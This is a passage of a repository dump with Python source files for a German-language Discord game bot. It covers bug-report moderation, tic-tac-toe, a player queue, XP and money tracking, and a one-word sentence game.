"text": "import discord\nfrom discord.ext import commands\n\n\nclass BugReport(commands.Cog):\n def __init__(self, bot):\n self.bugreportschannelid = 743797646883553370\n self.modreportschannelid = 743798512663265290\n self.devreportschannelid = 743805821418209321\n self.bot: commands.Bot = bot\n\n\n @commands.command()\n async def bug(self, ctx: commands.Context, arg):\n message: discord.Message = ctx.message\n await message.delete()\n if not message.channel.id == self.bugreportschannelid:\n return\n embed = discord.Embed(title=\"You reported a Bug\", description=arg, color=0x49ff35)\n embed.set_author(name=\"Bug:\" + arg,\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_footer(text=\"Thanks for your Report!\")\n await self.bot.get_channel(self.bugreportschannelid).send(embed=embed, delete_after=10)\n embed = discord.Embed(title=message.author.display_name + \" reported a Bug:\", description=arg, color=0x49ff35)\n embed.add_field(name=\"**Member-Info**\", value=\"at report Time\", inline=True)\n embed.add_field(name=\"Display-Name:\", value=message.author.display_name, inline=True)\n embed.add_field(name=\"User-Id:\", value=str(message.author.id), inline=True)\n embed.add_field(name=\"User-Status:\", value=str(message.author.status), inline=True)\n embed.add_field(name=\"On-Mobile:\", value=str(message.author.is_on_mobile()), inline=True)\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n message: discord.Message = await self.bot.get_channel(self.modreportschannelid).send(embed=embed)\n await message.add_reaction(\"✔️\")\n await message.add_reaction(\"❌\")\n await message.add_reaction(\"🅱️\")\n await message.add_reaction(\"🟨\")\n\n @commands.Cog.listener()\n async def on_reaction_add(self, payload: discord.Reaction, user):\n if user != self.bot.user:\n if payload.message.channel.id == self.modreportschannelid:\n message: discord.Message = payload.message\n if payload.emoji == \"✔️\":\n embed: discord.Embed = message.embeds[0]\n devmessage = await self.bot.get_channel(self.devreportschannelid).send(embed=embed)\n await devmessage.add_reaction(\"✔️\")\n embed = discord.Embed(title=\"Done!\", description=\"You accepted the bug!\",color=0x49ff35)\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.bot.get_channel(self.modreportschannelid).send(embed=embed, delete_after=10)\n await message.delete()\n if payload.emoji == \"❌\":\n await message.delete()\n embed = discord.Embed(title=\"Done!\", description=\"You denied the bug!\", color=0x49ff35)\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.bot.get_channel(self.modreportschannelid).send(embed=embed, delete_after=10)\n if payload.emoji == \"🅱️\":\n embed: discord.Embed = message.embeds[0]\n embed.add_field(name=\"Are you sure?\", value=\"Do you really want to ban him for ever?\")\n confirm_message = await message.channel.send(embed=embed)\n await confirm_message.add_reaction(\"✅\")\n await message.delete()\n if payload.emoji == \"✅\":\n embed: discord.Embed = message.embeds[0]\n await self.bot.get_user(embed.fields[2].name).ban()\n await message.delete()\n embed = discord.Embed(title=\"Done!\", description=\"You banned him!\", color=0x49ff35)\n embed.add_field(name=\"Player-ID:\", value=str(embed.fields[2].name))\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n banmessage: discord.Message = await self.bot.get_channel(self.modreportschannelid).send(embed=embed, delete_after=500)\n await banmessage.add_reaction(\"🆘\")\n if payload.emoji == \"🟨\":\n embed: discord.Embed = message.embeds[0]\n guild: discord.Guild = self.bot.get_guild(741823660188500008)\n user_to_kick = guild.get_member(int(embed.fields[2].value))\n try:\n await user_to_kick.kick(reason=\"You were kicked off the server for an inappropriate report! You can join again at any time. If this is not correct, we are sorry.\")\n except:\n embed = discord.Embed(title=\"Error!\", description=\"there was an error and therefore the player was not kicked off the server (Maybe you tried to kick an Admin/Owner?)!\", color=0x49ff35)\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.bot.get_channel(self.modreportschannelid).send(embed=embed, delete_after=20)\n await message.delete()\n if payload.emoji == \"🆘\":\n embed: discord.Embed = message.embeds[0]\n await self.bot.get_user(embed.fields[0].name).unban()\n await message.delete()\n embed = discord.Embed(title=\"Done!\", description=\"You unbanned him!\", color=0x49ff35)\n embed.set_author(name=\"BugReport\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.bot.get_channel(self.modreportschannelid).send(embed=embed,delete_after=10)\n if payload.message.channel.id == self.devreportschannelid:\n message: discord.Message = payload.message\n if payload.emoji == \"✔️\":\n await message.delete()\n embed = discord.Embed(title=\"Done!\", description=\"You completed the bug!\", color=0x49ff35)\n embed.set_author(name=\"BugReport\", icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.bot.get_channel(self.devreportschannelid).send(embed=embed, delete_after=10)"
},
{
"alpha_fraction": 0.5343438386917114,
"alphanum_fraction": 0.580135703086853,
"avg_line_length": 47.880828857421875,
"blob_id": "787c0cf21fde465dfc18da232108c047d34745cd",
"content_id": "d1dcf2a1993b5ae6e1587e8667e36c39b970a758",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9441,
"license_type": "no_license",
"max_line_length": 171,
"num_lines": 193,
"path": "/src/tictactoe/GameLogic.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\n\nfrom discord.ext import commands\nfrom parse import parse\n\nimport discord\nfrom PIL import Image\nimport io\n\nfrom GameAPI.user_extension import add_xp, add_to_stats, deposit_money\n\nchannel_prefix = \"📫tictactoe-\"\n\nclass GameControl():\n def __init__(self, queue):\n self.queue = queue\n self.queue.on_queue_change = self.check_for_gamestart\n\n def check_for_gamestart(self):\n if self.queue.len() >= 2:\n player_contexts = [self.queue.pop(), self.queue.pop()]\n Game(player_contexts, self.queue)\n\nclass Game(commands.Cog):\n def __init__(self, contexts, queue):\n self.players = [ctx.author for ctx in contexts] # Extract Players\n self.playerindex = [-1, 1]\n self.bot = contexts[0].bot\n self.guild = contexts[0].guild\n self.joinchannel = contexts[0].channel\n self.queue = queue\n self.fields = {\n \"A1\": 0, \"B1\": 1, \"C1\": 2,\n \"A2\": 3, \"B2\": 4, \"C2\": 5,\n \"A3\": 6, \"B3\": 7, \"C3\": 8\n }\n self.placedFields = {\n 0: 0, 1: 0, 2: 0,\n 3: 0, 4: 0, 5: 0,\n 6: 0, 7: 0, 8: 0\n }\n self.currentPlayer = 0\n self.gamechannel = None\n self.gamefield_message = None\n self.turn_lock = asyncio.Lock()\n\n self.running = True\n self.turnevent = asyncio.Event()\n self.bot.loop.create_task(self.gametask())\n\n\n async def gametask(self):\n # Suche ersten freien Channelslot\n cparse = lambda channel: parse( channel_prefix+\"{:d}\", channel.name ) # Parsefunktion für die Channelnames\n snums = sorted( [ cparse(c)[0] for c in self.bot.get_all_channels() if cparse(c) ] ) # extract\n next_channel = next( (x[0] for x in enumerate(snums) if x[0]+1 != x[1]), len(snums) ) + 1 #search gap\n # Spielchannel erzeugen:\n self.gamechannel = await self.guild.create_text_channel(\n name=channel_prefix + str(next_channel),\n category=self.bot.get_channel(741830130011209779))\n\n # Nachricht im Joinchannel:\n embed = discord.Embed(title=\"Game startet!\",description=\"Es wird gespielt in: **\" + self.gamechannel.name + \"** !\",color=0x2dff32)\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"TicTacToe\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Spieler\",value=f\"\"\"{self.players[0].name} vs. {self.players[1].name}\"\"\",inline=True)\n embed.set_footer(text=\"Viel Spaß!\")\n await self.joinchannel.send(embed=embed, delete_after=10)\n\n embed = discord.Embed(title=\"Also, \" + self.players[self.currentPlayer].display_name + \" bitte beginne!\",description=\"\",color=0x58ff46)\n embed.set_author(name=\"TicTacToe\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Wie wähle ich ein Feld aus?\",\n value=\"A1 B1 C1\\n\"\n +\"A2 B2 C2\\n\"\n +\"A3 B3 C3\",\n inline=True)\n embed.add_field(name=\"Und jetzt?\",\n value=\"Jenachdem welches Feld du nehmen willst schreibst du das in diesen Channel!\",\n inline=True)\n await self.gamechannel.send(embed=embed, delete_after=30)\n\n async with self.turn_lock:\n await self.send_gamefield()\n\n self.bot.add_cog(self)\n\n #warten auf Spielzüge:\n while self.running:\n try:\n await asyncio.wait_for( self.turnevent.wait(), timeout=300)\n except asyncio.TimeoutError:\n embed = discord.Embed(title=\"Game Gestoppt:\", description=\"(Timeout)\", color=0x58ff46)\n embed.set_author(name=\"TicTacToe\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed)\n break;\n\n # Spiel beenden:\n for player in self.players:\n add_to_stats(player, \"TicTacToe\", 0, 1, 0)\n add_xp(player, 5)\n self.queue.release_player(player.id)\n\n await asyncio.sleep(5)\n await self.gamechannel.delete()\n self.bot.remove_cog(self)\n\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n if message.channel.id == self.gamechannel.id and message.author.id is not self.bot.user.id:\n await message.delete()\n if message.author.id == self.players[self.currentPlayer].id:\n async with self.turn_lock:\n id = self.fields.get(message.content.upper())\n # checks if selected field exists\n if id is not None:\n field = self.placedFields.get(id)\n # checks if field is empty\n if field == 0:\n # set field placed\n self.placedFields[id] = self.playerindex[self.currentPlayer]\n await self.send_gamefield()\n if self.compute_winner(self.playerindex[self.currentPlayer]):\n embed = discord.Embed(title=\":tada: Player \" + self.players[self.currentPlayer].name +\" hat gewonnen :tada:\",colour=discord.Colour.green())\n await self.gamechannel.send(embed=embed)\n add_xp(self.players[self.currentPlayer], 20)\n add_to_stats(self.players[self.currentPlayer], \"TicTacToe\", 1, 0, 0)\n deposit_money(self.players[self.currentPlayer], 10)\n self.running = False\n elif self.is_undecided():\n embed = discord.Embed(title=\":tada: Unentschieden :tada:\",colour=discord.Colour.green())\n await self.gamechannel.send(embed=embed)\n for player in self.players:\n add_to_stats(player, \"TicTacToe\", 0, 0, 1)\n self.running = False\n else:\n self.currentPlayer = (self.currentPlayer + 1) % 2\n else:\n embed = discord.Embed(title=\":loudspeaker: Kein erlaubtes Feld :loudspeaker:\",colour=discord.Colour.red())\n await self.gamechannel.send(embed=embed, delete_after=2)\n self.turnevent.set()\n\n def is_undecided(self):\n if 0 in list(self.placedFields.values()):\n return False\n else:\n return True\n\n def compute_winner(self, playeri):\n won = playeri * 3\n # winning possibilities\n on_top = self.placedFields[0] + self.placedFields[1] + self.placedFields[2]\n below = self.placedFields[6] + self.placedFields[7] + self.placedFields[8]\n left = self.placedFields[0] + self.placedFields[3] + self.placedFields[6]\n right = self.placedFields[2] + self.placedFields[5] + self.placedFields[8]\n middle_top = self.placedFields[1] + self.placedFields[4] + self.placedFields[7]\n middle_left = self.placedFields[3] + self.placedFields[4] + self.placedFields[5]\n below = self.placedFields[6] + self.placedFields[7] + self.placedFields[8]\n diagonal_right = self.placedFields[6] + self.placedFields[4] + self.placedFields[2]\n diagonal_left = self.placedFields[8] + self.placedFields[4] + self.placedFields[0]\n # winner check\n if middle_top == won or middle_left == won or on_top == won or below == won or left == won or right == won or diagonal_right == won or diagonal_left == won:\n return True\n else:\n return False\n\n async def send_gamefield(self):\n if self.gamefield_message:\n await self.gamefield_message.delete()\n self.gamefield_message = await self.gamechannel.send(file=self.build_board(self.placedFields))\n\n def build_board(self, placedFields: dict):\n field_img: Image.Image = Image.open(\"../resources/tictactoe/gamefield_universe.png\")\n o = Image.open(\"../resources/tictactoe/o_universe.png\")\n\n X = Image.open(\"../resources/tictactoe/x_universe.png\")\n fields = [(12, 12), (175, 12), (337, 12),\n (12, 175), (175, 175), (337, 175),\n (12, 337), (175, 337), (337, 337)]\n\n for x in list(placedFields.keys()):\n if placedFields[x] == -1:\n field_img.paste(X, fields[list(placedFields).index(x)],X)\n elif placedFields[x] == 1:\n field_img.paste(o, fields[list(placedFields).index(x)],o)\n\n arr = io.BytesIO()\n field_img.save(arr, format=\"png\")\n arr.seek(0)\n file = discord.File(arr)\n file.filename = \"field.png\"\n return file\n"
},
{
"alpha_fraction": 0.6102635264396667,
"alphanum_fraction": 0.6158113479614258,
"avg_line_length": 22.5108699798584,
"blob_id": "f79ea29d9d1cd939f928e6de4ba1b3b5607bcef2",
"content_id": "623eae2ef11b8f3389c4e36d32e2adaa02f9eeca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2163,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 92,
"path": "/src/GameAPI/PlayerDataApi/Utils.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import math\n\nimport discord\n\nfrom GameAPI.PlayerDataApi.FileManager import getuser, getuserlist, setuser\n\n\n########################### XP\n\nasync def add_xp(member, xp):\n userdata = getuser(member.id)\n oldxp = userdata.get(\"xp\", 0)\n userdata[\"xp\"] = oldxp + xp\n setuser(member.id, userdata)\n await update_player_nick(member)\n\ndef get_xp(member):\n userdata = getuser(member.id)\n xp = userdata.get(\"xp\", 0)\n return xp\n\ndef get_level(member):\n member_xp = getuser(member.id).get( \"xp\", 0 )\n member_level = math.ceil(math.sqrt(member_xp/5))\n return member_level\n\n\nasync def update_player_nick(member: discord.Member):\n try:\n await member.edit(nick=member.name + \" [Lvl: \" + str(get_level(member)) + \"]\")\n except discord.Forbidden:\n pass\n\n\n\n############################ Stats\n\ndef add_to_stats(member, game_name, wins=0, played=0):\n userdata = getuser(member.id)\n stats = userdata.get(\"stats\", {})\n stats[game_name] = [x + y for x, y in zip(stats.get(game_name, [0, 0]), [wins, played])]\n userdata[\"stats\"] = stats\n setuser(member.id, userdata)\n\n\ndef get_stats(member):\n userdata = getuser(member.id)\n return userdata.get(\"stats\", {})\n\n\ndef get_all_stats():\n return [ getuser(x)[\"stats\"] for x in getuserlist() ]\n\n\n############################### Economy\n\ndef deposit_money(member, amount):\n userdata = getuser(member.id)\n oldmoney = userdata.get(\"money\", 0)\n userdata[\"money\"] = oldmoney + amount\n setuser(member.id, userdata)\n return\n\n\ndef withdraw_money(member, amount):\n userdata = getuser(member.id)\n oldmoney = userdata.get(\"money\", 0)\n if oldmoney >= amount:\n userdata[\"money\"] = oldmoney - amount\n setuser(member.id, userdata)\n return True\n else:\n return False\n\n\ndef set_money(member, amount):\n userdata = getuser(member.id)\n userdata[\"money\"] = amount\n setuser(member.id, userdata)\n return\n\n\ndef get_money(member):\n return getuser(member.id).get(\"money\", 0)\n\n\ndef has_money(member, amount):\n money = getuser(member.id).get(\"money\", 0)\n if money >= amount:\n return True\n else:\n return False\n"
},
{
"alpha_fraction": 0.5577812194824219,
"alphanum_fraction": 0.6438965797424316,
"avg_line_length": 53.52336502075195,
"blob_id": "ac4af73dd9e494d804752e991b36978466651bf3",
"content_id": "9e5084ed5d688df26104dfe9a0cbed775b191e78",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5846,
"license_type": "no_license",
"max_line_length": 186,
"num_lines": 107,
"path": "/src/GameAPI/Queue.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\nimport logging\n\nimport discord\n\nfrom GameAPI.PlayerDataApi import Utils\n\n\nclass Queue:\n __queued_members={} # member.id -> queuename\n __playing_members={} # member.id -> gamename (=queuename)\n \n def __init__(self, name, channel):\n self.channel = channel\n self.queue_message = None\n self.queuename = name\n self.queue = []\n self.on_queue_change = None # Callbackfunktion für die Gamecontroller\n logging.info( \"Queue für \"+self.queuename+\" erstellt.\" )\n\n # Wenn sich der Inhalt der Queue verändert:\n def do_on_queue_change( self ):\n logging.info( self.queuename + \" queue changed:\" )\n logging.info( \" queued members: \" + str(Queue.__queued_members) )\n logging.info( \" playing members: \" + str(Queue.__playing_members) )\n logging.info( \" queue content: \" + str(self.queue) )\n\n asyncio.create_task(self.send_queue_message())\n\n\n # Die vom Gamecontroller registrierte Callbackfunktion ausführen\n self.on_queue_change()\n\n async def send_queue_message(self):\n if self.queue_message:\n embed = discord.Embed(title=\"Queue:\", description=\"\", color=0x58ff46)\n embed.set_author(name=\"Queue\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Im Moment in der Queue:\",\n value=', '.join([ctx.author.name for ctx in self.queue]) + \" !\",\n inline=True)\n try:\n await self.queue_message.edit(embed=embed)\n except:\n pass\n else:\n embed = discord.Embed(title=\"Queue:\", description=\"\", color=0x58ff46)\n embed.set_author(name=\"Queue\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Im Moment in der Queue:\",\n value=', '.join([ ctx.author.name for ctx in self.queue ]) + \" !\",\n inline=True)\n self.queue_message = await self.channel.send(embed=embed)\n \n########## Queue INPUT\n\n # Neue Spieler in die Queue\n async def append(self, ctx):\n if ctx.author.id in Queue.__queued_members:\n embed = discord.Embed(title=\"Achtung, \" + ctx.author.name +\"!\", description=\"Du bist bereits in der Queue von \" + str(Queue.__queued_members[ ctx.author.id ]),color=0x49ff35)\n embed.set_author(name=self.queuename,icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n elif ctx.author.id in Queue.__playing_members:\n embed = discord.Embed(title=\"Achtung, \" + ctx.author.name +\"!\", description=\"Du spielst bereits in \" + str(Queue.__playing_members[ ctx.author.id ]),color=0x49ff35)\n embed.set_author(name=self.queuename,icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n else:\n Queue.__queued_members[ ctx.author.id ] = self.queuename\n self.queue.append(ctx)\n embed = discord.Embed(title=\"Nice!\", description=f\"\"\"{ctx.author.name} hat die Queue betreten\"\"\",color=0x49ff35)\n embed.set_author(name=self.queuename,icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=3)\n self.do_on_queue_change()\n\n # Spieler verlässt die Queue selbst:\n async def remove(self, ctx):\n if ctx.author.id in Queue.__queued_members:\n Queue.__queued_members.pop( ctx.author.id )\n self.queue = [ x for x in self.queue if x.author.id != ctx.author.id ]\n embed = discord.Embed(title=\"Bis bald!\", description=f\"\"\"{ctx.author.name} hat die Queue verlassen\"\"\",color=0x49ff35)\n embed.set_author(name=self.queuename,icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=3)\n self.do_on_queue_change()\n \n \n############ Queue OUTPUT\n\n def len(self):\n return len(self.queue)\n\n def release_player(self, playerid):\n Queue.__playing_members.pop( playerid )\n\n # Hier holen die Spiele ihre Player (contexte) aus der Queue:\n # Der Member kommt aus der queued liste in die playing liste\n def pop(self):\n ctx = self.queue.pop(0)\n Queue.__queued_members.pop( ctx.author.id )\n Queue.__playing_members[ ctx.author.id ] = self.queuename\n self.do_on_queue_change()\n return ctx\n \n\n\n"
},
{
"alpha_fraction": 0.5412501096725464,
"alphanum_fraction": 0.6243562698364258,
"avg_line_length": 53.718231201171875,
"blob_id": "992ee753b8ff808b812d9cb75635973f41aa0d04",
"content_id": "3b673a0108cbf2b8968b4e3188039a86390b0e70",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9911,
"license_type": "no_license",
"max_line_length": 191,
"num_lines": 181,
"path": "/src/onewordchallange/GameLogic.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\n\nimport random\n\nimport discord\n\nfrom discord.ext import commands\n\nfrom parse import parse\n\nfrom GameAPI.user_extension import add_to_stats, add_xp, deposit_money\n\nchannel_prefix = \"💬onewordchallange-\"\n\n\nclass GameControl():\n def __init__(self, queue):\n self.queue = queue\n self.queue.on_queue_change = self.check_for_game_start\n self.task: asyncio.Task = None\n\n async def timer(self, time):\n await asyncio.sleep(time)\n elements = []\n for i in range(self.queue.len()):\n elements.append(self.queue.pop())\n Game(elements, self.queue)\n\n def check_for_game_start(self):\n if self.queue.len() == 2:\n if self.task:\n self.task.cancel()\n self.task = asyncio.create_task(self.timer(30))\n if self.queue.len() == 8:\n if self.task:\n self.task.cancel()\n self.task = asyncio.create_task(self.timer(0))\n if self.queue.len() < 2:\n if self.task:\n self.task.cancel()\n\nclass Game(commands.Cog):\n def __init__(self, contexts, queue):\n self.sentence = \"\"\n self.queue = queue\n self.players = [ctx.author for ctx in contexts]\n random.shuffle(self.players)\n self.nextplayer = 0\n self.joinchannel = contexts[0].channel\n self.gamechannel = None\n self.guessed_letters = []\n self.bot: commands.Bot = contexts[0].bot\n self.guild = contexts[0].guild\n self.message: discord.Message = None\n self.turn_lock = asyncio.Lock()\n self.running = True\n self.turnevent = asyncio.Event()\n self.bot.loop.create_task(self.gametask())\n\n async def gametask(self):\n # Suche ersten freien Channelslot\n cparse = lambda channel: parse( channel_prefix+\"{:d}\", channel.name ) # Parsefunktion für die Channelnames\n snums = sorted( [ cparse(c)[0] for c in self.bot.get_all_channels() if cparse(c) ] ) # extract\n next_channel = next( (x[0] for x in enumerate(snums) if x[0]+1 != x[1]), len(snums) ) + 1 #search gap\n # Spielchannel erzeugen:\n self.gamechannel = await self.guild.create_text_channel(name=channel_prefix + str(next_channel),category=self.bot.get_channel(771386811154300958))\n\n role = self.guild.get_role(741823660188500008)\n await self.gamechannel.set_permissions(role, read_messages=False)\n for player in self.players:\n await self.gamechannel.set_permissions(player, read_messages=True)\n\n # Nachricht im Joinchannel:\n embed = discord.Embed(title=\"Spiel startet!\",description=\"Es wird gespielt in: **\" + self.gamechannel.name + \"** !\",color=0x2dff32)\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_footer(text=\"Viel Spas!\")\n await self.joinchannel.send(embed=embed, delete_after=10)\n\n embed = discord.Embed(title=\"Also, \" + self.players[self.nextplayer].name + \", bitte beginne und schreibe den Satzanfang\",description=\"\",color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=60)\n\n self.bot.add_cog(self)\n\n while self.running:\n try:\n await asyncio.wait_for( self.turnevent.wait(), timeout=300 )\n except asyncio.TimeoutError:\n embed = discord.Embed(title=\"Spiel Gestoppt:\", description=\"(Timeout)\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed)\n break;\n\n for player in self.players:\n add_to_stats(player, \"OneWordChallange\", 0, 1, 0)\n add_xp(player, 10)\n deposit_money(player, 5)\n self.queue.release_player(player.id)\n self.bot.remove_cog(self)\n await asyncio.sleep(25)\n await self.gamechannel.delete()\n\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n if message.channel.id == self.gamechannel.id and message.author.id is not self.bot.user.id:\n try:\n await message.delete()\n except:\n pass\n\n undoplayer = self.nextplayer - 1\n if undoplayer < 0:\n undoplayer = len(self.players) - 1\n if message.author.id == self.players[undoplayer].id:\n if (message.content.upper() == \"!UNDO\"):\n self.sentence = self.sentence.rsplit(' ', 1)[0]\n\n embed = discord.Embed(title=\"Undo!\", description=\"Du hast das letzte Word gelöscht!\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=6)\n\n self.nextplayer = undoplayer\n\n await self.send_gamefield()\n return\n elif message.author in self.players and message.author.id == self.players[self.nextplayer].id:\n if(message.content.upper() == \"!KOMMA\"):\n self.sentence = self.sentence + \", \"\n\n embed = discord.Embed(title=\"Komma!\",description=\"Du hast ein Komma eingefügt!\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=6)\n\n await self.send_gamefield()\n else:\n if message.content.upper() == \".\":\n embed = discord.Embed(title=\":tada: \" + message.author.name + \" Hat den Punkt gesetzt! :tada:\",description=\"(\"+ self.sentence +\" )\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed)\n self.running = False\n elif(message.content.isalpha()):\n self.sentence = self.sentence + \" \" + message.content\n self.nextplayer = self.nextplayer + 1\n if(self.nextplayer >= len(self.players)):\n self.nextplayer = 0\n await self.send_gamefield()\n else:\n embed = discord.Embed(title=message.author.name + \": Falsche Eingabe\",description=\"Bitte benutze nur Buchstaben, einen Punkt oder !undo bzw. !komma !\", color=0x58ff46)\n embed.set_author(name=\"OneWordChallange\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n 